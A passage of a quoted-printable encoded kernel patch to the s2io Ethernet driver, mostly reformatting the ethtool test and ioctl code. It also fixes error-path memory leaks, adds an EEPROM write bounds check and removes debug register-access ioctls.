val64);=0A= =0A= mdelay(500);=0A= - for(cnt=3D0;cnt<5;cnt++){=0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= - if(val64 & MC_RLDRAM_TEST_DONE)=0A= - break;=0A= - mdelay(200);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + mdelay(200);=0A= }=0A= - =0A= - if(cnt =3D=3D 5)=0A= +=0A= + if (cnt =3D=3D 5)=0A= break;=0A= =0A= - val64 =3D read64(&bar0->mc_rldram_test_ctrl); =0A= - if(val64 & MC_RLDRAM_TEST_PASS)=0A= - test_pass =3D 1;=0A= - =0A= + val64 =3D read64(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_PASS)=0A= + test_pass =3D 1;=0A= +=0A= iteration++;=0A= - } =0A= + }=0A= =0A= - if(!test_pass)=0A= + if (!test_pass)=0A= *data =3D 1;=0A= else=0A= *data =3D 0;=0A= - =0A= +=0A= return 0;=0A= }=0A= =0A= @@ -3613,61 +3591,55 @@ static int s2io_rldramTest(nic_t *sp, ui=0A= * This function conducts 6 tests ( 4 offline and 2 online) to = determine=0A= * the health of the card.=0A= */=0A= -static int s2io_ethtool_test(nic_t *sp, struct ethtool_test *ethtest, =0A= - uint64_t *data)=0A= +static int s2io_ethtool_test(nic_t * sp, struct ethtool_test *ethtest,=0A= + uint64_t * data)=0A= {=0A= int orig_state =3D netif_running(sp->dev);=0A= =0A= - if(ethtest->flags =3D=3D ETH_TEST_FL_OFFLINE) {=0A= - /* Offline Tests. */=0A= - if(orig_state) {=0A= + if (ethtest->flags =3D=3D ETH_TEST_FL_OFFLINE) {=0A= + /* Offline Tests. */=0A= + if (orig_state) {=0A= s2io_close(sp->dev);=0A= s2io_set_swapper(sp);=0A= - }=0A= - else =0A= + } else=0A= s2io_set_swapper(sp);=0A= =0A= - if(s2io_registerTest(sp, &data[0]))=0A= + if (s2io_registerTest(sp, &data[0]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= - =0A= +=0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= - =0A= - if(s2io_rldramTest(sp, &data[4]))=0A= +=0A= + if (s2io_rldramTest(sp, &data[3]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= - =0A= - if(s2io_eepromTest(sp, &data[1]))=0A= +=0A= + if (s2io_eepromTest(sp, &data[1]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= - if(s2io_bistTest(sp, &data[5]))=0A= + if (s2io_bistTest(sp, &data[4]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= - if(orig_state)=0A= + if (orig_state)=0A= s2io_open(sp->dev);=0A= =0A= data[2] =3D 0;=0A= - data[3] =3D 0;=0A= - }=0A= - else {=0A= - /* Online Tests. */=0A= - if(!orig_state)=0A= + } else {=0A= + /* Online Tests. */=0A= + if (!orig_state)=0A= return -1;=0A= - =0A= - if(s2io_linkTest(sp, &data[3]))=0A= - ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= =0A= - if(s2io_loopbackTest(sp, &data[2]))=0A= + if (s2io_linkTest(sp, &data[2]))=0A= ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= - =0A= +=0A= data[0] =3D 0;=0A= data[1] =3D 0;=0A= + data[3] =3D 0;=0A= data[4] =3D 0;=0A= - data[5] =3D 0;=0A= }=0A= - =0A= +=0A= return 0;=0A= }=0A= =0A= @@ -3685,324 +3657,363 @@ static int s2io_ethtool_test(nic_t *sp, =0A= */=0A= static int s2io_ethtool(struct net_device *dev, struct ifreq *rq)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= void *data =3D rq->ifr_data;=0A= u32 ecmd;=0A= - =0A= - if(get_user(ecmd, (u32 *)data)) {=0A= +=0A= + if (get_user(ecmd, (u32 *) data)) {=0A= return -EFAULT;=0A= }=0A= =0A= - switch(ecmd) {=0A= - case ETHTOOL_GSET: =0A= + switch (ecmd) {=0A= + case ETHTOOL_GSET:=0A= {=0A= struct ethtool_cmd info =3D { ETHTOOL_GSET };=0A= s2io_ethtool_gset(sp, &info);=0A= - if(copy_to_user(data, &info, sizeof(info)))=0A= + if (copy_to_user(data, &info, sizeof(info)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - case ETHTOOL_SSET:=0A= + case ETHTOOL_SSET:=0A= {=0A= struct ethtool_cmd info;=0A= - =0A= - if(copy_from_user(&info, data, sizeof(info)))=0A= +=0A= + if (copy_from_user(&info, data, sizeof(info)))=0A= return -EFAULT;=0A= - if(s2io_ethtool_sset(sp, &info))=0A= + if (s2io_ethtool_sset(sp, &info))=0A= return -EFAULT;=0A= break;=0A= }=0A= - case ETHTOOL_GDRVINFO:=0A= + case ETHTOOL_GDRVINFO:=0A= {=0A= struct ethtool_drvinfo info =3D { ETHTOOL_GDRVINFO };=0A= - =0A= +=0A= s2io_ethtool_gdrvinfo(sp, &info);=0A= - if(copy_to_user(data, &info, sizeof(info)))=0A= + if (copy_to_user(data, &info, sizeof(info)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - #if defined(ETHTOOL_GREGS) && defined(ETHTOOL_GEEPROM)=0A= - case ETHTOOL_GREGS:=0A= +#if defined(ETHTOOL_GREGS) && defined(ETHTOOL_GEEPROM)=0A= + case ETHTOOL_GREGS:=0A= {=0A= struct ethtool_regs regs =3D { ETHTOOL_GREGS };=0A= u8 *reg_space;=0A= + int ret =3D 0;=0A= +=0A= regs.version =3D sp->pdev->subsystem_device;=0A= - =0A= +=0A= reg_space =3D kmalloc(XENA_REG_SPACE, GFP_KERNEL);=0A= - if(reg_space =3D=3D NULL) {=0A= - DBG_PRINT(ERR_DBG,"Memory allocation to dump ");=0A= - DBG_PRINT(ERR_DBG,"registers failed\n");=0A= - return -EFAULT;=0A= + if (reg_space =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "Memory allocation to dump ");=0A= + DBG_PRINT(ERR_DBG, "registers failed\n");=0A= + ret =3D -EFAULT;=0A= }=0A= memset(reg_space, 0, XENA_REG_SPACE);=0A= s2io_ethtool_gregs(sp, ®s, reg_space);=0A= - if(copy_to_user(data, ®s, sizeof(regs))) {=0A= - return -EFAULT;=0A= + if (copy_to_user(data, ®s, sizeof(regs))) {=0A= + ret =3D -EFAULT;=0A= + goto last_gregs;=0A= }=0A= data +=3D offsetof(struct ethtool_regs, data);=0A= - if(copy_to_user(data, reg_space, regs.len)) {=0A= - return -EFAULT;=0A= + if (copy_to_user(data, reg_space, regs.len)) {=0A= + ret =3D -EFAULT;=0A= + goto last_gregs;=0A= }=0A= - /* Free up the kernel memory */=0A= + last_gregs:=0A= kfree(reg_space);=0A= + if (ret)=0A= + return ret;=0A= break;=0A= }=0A= - #endif /* ETHTOOL_GREGS. */=0A= - case ETHTOOL_NWAY_RST:=0A= +#endif /* ETHTOOL_GREGS. */=0A= + case ETHTOOL_NWAY_RST:=0A= {=0A= - DBG_PRINT(INFO_DBG, "Card reset through EthTool\n");=0A= - if(netif_running(dev)) {=0A= - s2io_close(dev); =0A= + DBG_PRINT(INFO_DBG,=0A= + "Card reset through EthTool\n");=0A= + if (netif_running(dev)) {=0A= + s2io_close(dev);=0A= s2io_open(dev);=0A= - }=0A= - else {=0A= + } else {=0A= s2io_reset(sp);=0A= s2io_set_swapper(sp);=0A= - } =0A= + }=0A= break;=0A= }=0A= - case ETHTOOL_GLINK:=0A= + case ETHTOOL_GLINK:=0A= {=0A= struct ethtool_value link =3D { ETHTOOL_GLINK };=0A= =0A= link.data =3D netif_carrier_ok(dev);=0A= - if(copy_to_user(data, &link, sizeof(link)))=0A= + if (copy_to_user(data, &link, sizeof(link)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - #ifdef ETHTOOL_PHYS_ID=0A= - case ETHTOOL_PHYS_ID:=0A= - { =0A= +#ifdef ETHTOOL_PHYS_ID=0A= + case ETHTOOL_PHYS_ID:=0A= + {=0A= struct ethtool_value id;=0A= - =0A= - if(copy_from_user(&id, data, sizeof(id)))=0A= +=0A= + if (copy_from_user(&id, data, sizeof(id)))=0A= return -EFAULT;=0A= s2io_ethtool_idnic(sp, &id);=0A= break;=0A= }=0A= - #endif /* ETHTOOL_PHYS_ID */=0A= - case ETHTOOL_GPAUSEPARAM:=0A= +#endif /* ETHTOOL_PHYS_ID */=0A= + case ETHTOOL_GPAUSEPARAM:=0A= {=0A= - struct ethtool_pauseparam ep =3D { ETHTOOL_GPAUSEPARAM };=0A= + struct ethtool_pauseparam ep =3D=0A= + { ETHTOOL_GPAUSEPARAM };=0A= =0A= - s2io_ethtool_getpause_data(sp, &ep); =0A= - if(copy_to_user(data, &ep, sizeof(ep))) =0A= + s2io_ethtool_getpause_data(sp, &ep);=0A= + if (copy_to_user(data, &ep, sizeof(ep)))=0A= return -EFAULT;=0A= break;=0A= - =0A= +=0A= }=0A= - case ETHTOOL_SPAUSEPARAM:=0A= + case ETHTOOL_SPAUSEPARAM:=0A= {=0A= struct ethtool_pauseparam ep;=0A= =0A= - if(copy_from_user(&ep, data, sizeof(ep)))=0A= + if (copy_from_user(&ep, data, sizeof(ep)))=0A= return -EFAULT;=0A= s2io_ethtool_setpause_data(sp, &ep);=0A= break;=0A= }=0A= - case ETHTOOL_GRXCSUM:=0A= + case ETHTOOL_GRXCSUM:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GRXCSUM };=0A= ev.data =3D (dev->features & NETIF_F_HW_CSUM);=0A= =0A= - if(copy_to_user(data, &ev, sizeof(ev))) =0A= + if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - case ETHTOOL_GTXCSUM:=0A= + case ETHTOOL_GTXCSUM:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GTXCSUM };=0A= ev.data =3D (dev->features & NETIF_F_HW_CSUM);=0A= =0A= - if(copy_to_user(data, &ev, sizeof(ev))) =0A= + if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - case ETHTOOL_GSG:=0A= + case ETHTOOL_GSG:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GSG };=0A= ev.data =3D (dev->features & NETIF_F_SG);=0A= =0A= - if(copy_to_user(data, &ev, sizeof(ev))) =0A= + if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - #ifdef NETIF_F_TSO=0A= - case ETHTOOL_GTSO:=0A= +#ifdef NETIF_F_TSO=0A= + case ETHTOOL_GTSO:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GTSO };=0A= ev.data =3D (dev->features & NETIF_F_TSO);=0A= =0A= - if(copy_to_user(data, &ev, sizeof(ev))) =0A= + if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= - #endif=0A= - case ETHTOOL_SRXCSUM:=0A= - case ETHTOOL_STXCSUM:=0A= +#endif=0A= + case ETHTOOL_SRXCSUM:=0A= + case ETHTOOL_STXCSUM:=0A= {=0A= struct ethtool_value ev;=0A= =0A= - if(copy_from_user(&ev, data, sizeof(ev)))=0A= + if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= - if(ev.data)=0A= + if (ev.data)=0A= dev->features |=3D NETIF_F_HW_CSUM;=0A= else=0A= dev->features &=3D ~NETIF_F_HW_CSUM;=0A= break;=0A= }=0A= - case ETHTOOL_SSG:=0A= + case ETHTOOL_SSG:=0A= {=0A= struct ethtool_value ev;=0A= =0A= - if(copy_from_user(&ev, data, sizeof(ev)))=0A= + if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= - if(ev.data)=0A= + if (ev.data)=0A= dev->features |=3D NETIF_F_SG;=0A= else=0A= dev->features &=3D ~NETIF_F_SG;=0A= break;=0A= }=0A= - #ifdef NETIF_F_TSO=0A= - case ETHTOOL_STSO:=0A= +#ifdef NETIF_F_TSO=0A= + case ETHTOOL_STSO:=0A= {=0A= struct ethtool_value ev;=0A= =0A= - if(copy_from_user(&ev, data, sizeof(ev)))=0A= + if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= - if(ev.data)=0A= + if (ev.data)=0A= dev->features |=3D NETIF_F_TSO;=0A= else=0A= dev->features &=3D ~NETIF_F_TSO;=0A= break;=0A= }=0A= - #endif=0A= - case ETHTOOL_GEEPROM:=0A= +#endif=0A= + case ETHTOOL_GEEPROM:=0A= {=0A= struct ethtool_eeprom eeprom =3D { ETHTOOL_GEEPROM };=0A= char *data_buf;=0A= int ret =3D 0;=0A= - =0A= - if(copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= +=0A= + if (copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= return -EFAULT;=0A= - =0A= - if(eeprom.len <=3D 0)=0A= +=0A= + if (eeprom.len <=3D 0)=0A= return -EINVAL;=0A= =0A= - if(!(data_buf =3D kmalloc(XENA_EEPROM_SPACE, GFP_KERNEL)))=0A= + if (!=0A= + (data_buf =3D=0A= + kmalloc(XENA_EEPROM_SPACE, GFP_KERNEL)))=0A= return -ENOMEM;=0A= s2io_ethtool_geeprom(sp, &eeprom, data_buf);=0A= - =0A= - if(copy_to_user(data, &eeprom, sizeof(eeprom)))=0A= +=0A= + if (copy_to_user(data, &eeprom, sizeof(eeprom))) {=0A= ret =3D -EFAULT;=0A= - =0A= + goto last_geprom;=0A= + }=0A= +=0A= data +=3D offsetof(struct ethtool_eeprom, data);=0A= - =0A= - if(copy_to_user(data, (void *)data_buf, eeprom.len))=0A= +=0A= + if (copy_to_user=0A= + (data, (void *) data_buf, eeprom.len)) {=0A= ret =3D -EFAULT;=0A= - =0A= + goto last_geprom;=0A= + }=0A= +=0A= + last_geprom:=0A= kfree(data_buf);=0A= - if(ret)=0A= + if (ret)=0A= return ret;=0A= break;=0A= }=0A= - case ETHTOOL_SEEPROM:=0A= + case ETHTOOL_SEEPROM:=0A= {=0A= struct ethtool_eeprom eeprom;=0A= unsigned char *data_buf;=0A= void *ptr;=0A= int ret =3D 0;=0A= =0A= - if(copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= + if (copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= return -EFAULT;=0A= - =0A= - if(!(data_buf =3D kmalloc(eeprom.len, GFP_KERNEL)))=0A= +=0A= + if (!(data_buf =3D kmalloc(eeprom.len, GFP_KERNEL)))=0A= return -ENOMEM;=0A= - ptr =3D (void *)data_buf;=0A= + ptr =3D (void *) data_buf;=0A= =0A= data +=3D offsetof(struct ethtool_eeprom, data);=0A= - if(copy_from_user(ptr, data, eeprom.len))=0A= - return -EFAULT;=0A= - =0A= - if(s2io_ethtool_seeprom(sp, &eeprom, data_buf))=0A= + if (copy_from_user(ptr, data, eeprom.len)) {=0A= ret =3D -EFAULT;=0A= + goto last_seprom;=0A= + }=0A= =0A= + if ((eeprom.offset + eeprom.len) >=0A= + (XENA_EEPROM_SPACE)) {=0A= + DBG_PRINT(ERR_DBG, "%s Write ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "request overshoots ");=0A= + DBG_PRINT(ERR_DBG, "the EEPROM area\n");=0A= + ret =3D -EFAULT;=0A= + goto last_seprom;=0A= + }=0A= + if (s2io_ethtool_seeprom(sp, &eeprom, data_buf)) {=0A= + ret =3D -EFAULT;=0A= + goto last_seprom;=0A= + }=0A= +=0A= + last_seprom:=0A= kfree(data_buf);=0A= - if(ret)=0A= + if (ret)=0A= return ret;=0A= break;=0A= }=0A= - case ETHTOOL_GSTRINGS:=0A= + case ETHTOOL_GSTRINGS:=0A= {=0A= - struct ethtool_gstrings gstrings =3D { ETHTOOL_GSTRINGS };=0A= + struct ethtool_gstrings gstrings =3D=0A= + { ETHTOOL_GSTRINGS };=0A= char *strings =3D NULL;=0A= int ret =3D 0;=0A= =0A= - if(copy_from_user(&gstrings, data, sizeof(gstrings)))=0A= + if (copy_from_user=0A= + (&gstrings, data, sizeof(gstrings)))=0A= return -EFAULT;=0A= - =0A= - switch(gstrings.string_set) {=0A= - case ETH_SS_TEST:=0A= - gstrings.len =3D S2IO_TEST_LEN;=0A= - strings =3D kmalloc(S2IO_STRINGS_LEN, =0A= - GFP_KERNEL);=0A= - if(!strings)=0A= - return -ENOMEM;=0A= - memcpy(strings, s2io_gstrings, =0A= - S2IO_STRINGS_LEN);=0A= - break;=0A= - default:=0A= - return -EOPNOTSUPP;=0A= +=0A= + switch (gstrings.string_set) {=0A= + case ETH_SS_TEST:=0A= + gstrings.len =3D S2IO_TEST_LEN;=0A= + strings =3D kmalloc(S2IO_STRINGS_LEN,=0A= + GFP_KERNEL);=0A= + if (!strings)=0A= + return -ENOMEM;=0A= + memcpy(strings, s2io_gstrings,=0A= + S2IO_STRINGS_LEN);=0A= + break;=0A= + default:=0A= + return -EOPNOTSUPP;=0A= }=0A= - =0A= - if(copy_to_user(data, &gstrings, sizeof(gstrings)))=0A= +=0A= + if (copy_to_user=0A= + (data, &gstrings, sizeof(gstrings)))=0A= ret =3D -EFAULT;=0A= - if(!ret) {=0A= - data +=3D offsetof(struct ethtool_gstrings, data);=0A= - if(copy_to_user(data,strings,S2IO_STRINGS_LEN))=0A= + if (!ret) {=0A= + data +=3D=0A= + offsetof(struct ethtool_gstrings,=0A= + data);=0A= + if (copy_to_user=0A= + (data, strings, S2IO_STRINGS_LEN))=0A= ret =3D -EFAULT;=0A= }=0A= kfree(strings);=0A= -=0A= - if(ret)=0A= + if (ret)=0A= return ret;=0A= break;=0A= }=0A= - case ETHTOOL_TEST:=0A= + case ETHTOOL_TEST:=0A= {=0A= struct {=0A= struct ethtool_test ethtest;=0A= uint64_t data[S2IO_TEST_LEN];=0A= - } test =3D { {ETHTOOL_TEST} };=0A= + } test =3D { {=0A= + ETHTOOL_TEST}};=0A= int err;=0A= =0A= - if(copy_from_user(&test.ethtest, data, =0A= - sizeof(test.ethtest)))=0A= + if (copy_from_user(&test.ethtest, data,=0A= + sizeof(test.ethtest)))=0A= return -EFAULT;=0A= - =0A= - err =3D s2io_ethtool_test(sp, &test.ethtest, test.data);=0A= =0A= - if(err) {=0A= - DBG_PRINT(ERR_DBG,"%s:For Online",dev->name);=0A= - DBG_PRINT(ERR_DBG," tests, the Interface must");=0A= - DBG_PRINT(ERR_DBG," be Up\n");=0A= + err =3D=0A= + s2io_ethtool_test(sp, &test.ethtest,=0A= + test.data);=0A= +=0A= + if (err) {=0A= + DBG_PRINT(ERR_DBG, "%s:For Online",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG,=0A= + " tests, the Interface must");=0A= + DBG_PRINT(ERR_DBG, " be Up\n");=0A= return -EFAULT;=0A= }=0A= - if(copy_to_user(data, &test, sizeof(test)))=0A= + if (copy_to_user(data, &test, sizeof(test)))=0A= return -EFAULT;=0A= - =0A= +=0A= break;=0A= }=0A= - default:=0A= - return -EOPNOTSUPP;=0A= + default:=0A= + return -EOPNOTSUPP;=0A= }=0A= =0A= return 0;=0A= }=0A= -#endif /* CONFIGURE_ETHTOOL_SUPPORT */=0A= +#endif /* CONFIGURE_ETHTOOL_SUPPORT */=0A= =0A= /*=0A= * Input Argument/s: =0A= @@ -4020,151 +4031,12 @@ static int s2io_ethtool(struct net_devic=0A= */=0A= int s2io_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)=0A= {=0A= - u8 *addr;=0A= - int i;=0A= - register u64 mac_addr =3D 0, val64 =3D 0;=0A= - struct s2io_nic *sp =3D (struct s2io_nic *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= -=0A= -/* =0A= - * Once other elements that will be used to confiure the H/W=0A= - * using the IOCTL are put in place, this structure will be moved =0A= - * to the header file. TODO=0A= - */=0A= - typedef struct ioctl_config {=0A= - int pos; /*The position where the MAC is to be stored */=0A= - struct sockaddr *s; /* structure that stores the MAC */=0A= - }ioctl_cfg_t;=0A= -=0A= - switch (cmd)=0A= - {=0A= - #ifdef CONFIGURE_ETHTOOL_SUPPORT=0A= - case SIOCETHTOOL:=0A= - {=0A= - return s2io_ethtool(dev, rq);=0A= - }=0A= - #endif=0A= -=0A= - /* =0A= - * Private IOCTLs used by the util tool, for debug=0A= - * purposes.=0A= - */=0A= - case SIOCDEVPRIVATE+1:=0A= - {=0A= - ioctl_cfg_t *cfg =3D (ioctl_cfg_t *)(rq->ifr_ifru.ifru_data);=0A= -=0A= - addr =3D (u8 *)(&cfg->s->sa_data);=0A= - for(i=3D0;ipos);=0A= - mdelay(500);=0A= - mac_addr =3D read64(&bar0->rmac_addr_data0_mem);=0A= -=0A= - if(mac_addr & 0xff) {=0A= - DBG_PRINT(ERR_DBG,"%s: Position %d already in use\n",=0A= - dev->name,cfg->pos);=0A= - return -EINVAL;=0A= - }=0A= - write64(&bar0->rmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD =0A= - |RMAC_ADDR_CMD_MEM_OFFSET=0A= - (MAC_MC_ADDR_START_OFFSET+cfg->pos);=0A= - mdelay(500);=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+4:=0A= - {=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= - io->size =3D sp->mac_control.txd_list_mem_sz;=0A= - copy_to_user(io->buffer,sp->mac_control.txdl_start[0],io->size);=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+5:=0A= - {=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= -=0A= - io->size =3D sp->mac_control.stats_mem_sz;=0A= - copy_to_user(io->buffer, sp->mac_control.StatsInfo,io->size);=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+6:=0A= + switch (cmd) {=0A= + case SIOCETHTOOL:=0A= {=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= -=0A= - io->value =3D read64(&bar0->general_int_status);=0A= - #if DEBUG_ON=0A= - io->rxbytes =3D sp->rxpkt_bytes;=0A= - io->txbytes =3D sp->txpkt_bytes;=0A= - printk(KERN_INFO"Interrupt cnt: 0x%x\n", sp->int_cnt);=0A= - printk(KERN_INFO"RxInt cnt: 0x%x\n", sp->rxint_cnt);=0A= - printk(KERN_INFO"TxInt cnt: 0x%x\n", sp->txint_cnt);=0A= - #ifndef XENA_ARCH_64=0A= - printk(KERN_INFO"Rx Pkt Cnt: 0x%llx\n",sp->rxpkt_cnt);=0A= - #else=0A= - printk(KERN_INFO"Rx Pkt Cnt: 0x%lx\n",sp->rxpkt_cnt);=0A= - #endif=0A= - #endif=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+7:=0A= - {=0A= - unsigned int i=3D0, j=3D0;=0A= - int size =3D sizeof(RxD_t)*(MAX_RXDS_PER_BLOCK+1);=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= - io->size =3D sp->mac_control.rxd_ring_mem_sz;=0A= -=0A= - while(i < sp->config.RxCfg[0].NumRxd) {=0A= - char *c =3D (char *)sp->rx_blocks[0][j].block_virt_addr;=0A= - copy_to_user((io->buffer+(j*size)), c, size);=0A= - i +=3D (MAX_RXDS_PER_BLOCK+1);=0A= - j++;=0A= - }=0A= - break;=0A= + return s2io_ethtool(dev, rq);=0A= }=0A= - case SIOCDEVPRIVATE+8:=0A= - {=0A= - #if DEBUG_ON=0A= - RxD_t *rxdp =3D sp->mac_control.RxRing[0];=0A= - struct sk_buff *skb;=0A= - int cnt=3D0;=0A= - int i;=0A= -=0A= - rxdp +=3D cnt;=0A= - skb =3D (struct sk_buff *)(dmaaddr_t)rxdp->Host_Control;=0A= - if(skb) {=0A= - for(i=3D0;i<0x110;i++)=0A= - printk("%02x",(skb->data)[i]);=0A= - cnt++;=0A= - }=0A= - #else=0A= - printk(KERN_INFO"Please enable Debug to see Rx buffer\n");=0A= - #endif=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+9:=0A= - {=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= - val64 =3D read64((sp->bar0+io->offset));=0A= - io->value =3D val64;=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+10:=0A= - {=0A= - ioctlInfo_t *io =3D (ioctlInfo_t *)rq->ifr_data;=0A= - write64((sp->bar0+io->offset), io->value);=0A= - break;=0A= - }=0A= - case SIOCDEVPRIVATE+11:=0A= - {=0A= - s2io_reset(sp);=0A= - break;=0A= - }=0A= - default:=0A= + default:=0A= return -EOPNOTSUPP;=0A= break;=0A= }=0A= @@ -4185,24 +4057,25 @@ int s2io_ioctl(struct net_device *dev, s=0A= */=0A= int s2io_change_mtu(struct net_device *dev, int new_mtu)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - register u64 val64;=0A= -=0A= - if(netif_running(dev)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Must be stopped to ",dev->name); =0A= - DBG_PRINT(ERR_DBG,"change its MTU \n");=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64;=0A= +=0A= + if (netif_running(dev)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Must be stopped to ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "change its MTU \n");=0A= return -EBUSY;=0A= }=0A= =0A= - if((new_mtu < MIN_MTU)||(new_mtu > S2IO_JUMBO_SIZE)) {=0A= - DBG_PRINT(ERR_DBG,"%s: MTU size is invalid.\n", dev->name);=0A= + if ((new_mtu < MIN_MTU) || (new_mtu > S2IO_JUMBO_SIZE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: MTU size is invalid.\n",=0A= + dev->name);=0A= return -EPERM;=0A= }=0A= =0A= /* Set the new MTU into the PYLD register of the NIC */=0A= val64 =3D new_mtu;=0A= - write64(&bar0->rmac_max_pyld_len, vBIT(val64,2,14));=0A= + write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= =0A= dev->mtu =3D new_mtu;=0A= =0A= @@ -4211,7 +4084,7 @@ int s2io_change_mtu(struct net_device *d=0A= =0A= /*=0A= * Input Argument/s: =0A= - * dev_adr - address of the device structure in dmaaddr_t format.=0A= + * dev_adr - address of the device structure in dma_addr_t format.=0A= * Return value:=0A= * void.=0A= * Description:=0A= @@ -4221,26 +4094,33 @@ int s2io_change_mtu(struct net_device *d=0A= * be pushed into the tasklet. For now the tasklet is used only to =0A= * replenish the Rx buffers in the Rx buffer descriptors.=0A= */=0A= -void s2io_tasklet(unsigned long dev_addr)=0A= +static void s2io_tasklet(unsigned long dev_addr)=0A= {=0A= - struct net_device *dev =3D (struct net_device*)dev_addr;=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= + struct net_device *dev =3D (struct net_device *) dev_addr;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= int i, ret;=0A= -=0A= - if(!test_and_set_bit(0, (unsigned long *)(&sp->tasklet_status))) {=0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= - ret =3D fill_rx_buffers(sp,i);=0A= - if(ret =3D=3D -ENOMEM) {=0A= - DBG_PRINT(ERR_DBG,"%s: Out of ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"memory in tasklet\n");=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + if (!test_and_set_bit(0, (unsigned long *) (&sp->tasklet_status))) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + ret =3D fill_rx_buffers(sp, i);=0A= + if (ret =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory in tasklet\n");=0A= return;=0A= - } else if(ret =3D=3D -EFILL) {=0A= - DBG_PRINT(ERR_DBG,"%s: Rx Ring %d is full\n",=0A= - dev->name,i);=0A= + } else if (ret =3D=3D -EFILL) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: Rx Ring %d is full\n",=0A= + dev->name, i);=0A= return;=0A= }=0A= }=0A= - clear_bit(0,(unsigned long *)(&sp->tasklet_status));=0A= + clear_bit(0, (unsigned long *) (&sp->tasklet_status));=0A= }=0A= }=0A= =0A= @@ -4254,27 +4134,20 @@ void s2io_tasklet(unsigned long dev_addr=0A= * for a pre-defined amount of time when the Interface is still up.=0A= * If the Interface is jammed in such a situation, the hardware is=0A= * reset (by s2io_close) and restarted again (by s2io_open) to=0A= - * overcome any problem that migh have been caused in the hardware.=0A= + * overcome any problem that might have been caused in the hardware.=0A= */=0A= -void s2io_tx_watchdog(struct net_device *dev)=0A= +static void s2io_tx_watchdog(struct net_device *dev)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - struct sk_buff *skb;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= =0A= - if (sp->tx_pkt_ptr) {=0A= - skb =3D sp->tx_pkt_ptr;=0A= - //dev_kfree_skb(skb);=0A= + if (netif_carrier_ok(dev)) {=0A= s2io_close(dev);=0A= sp->device_close_flag =3D TRUE;=0A= 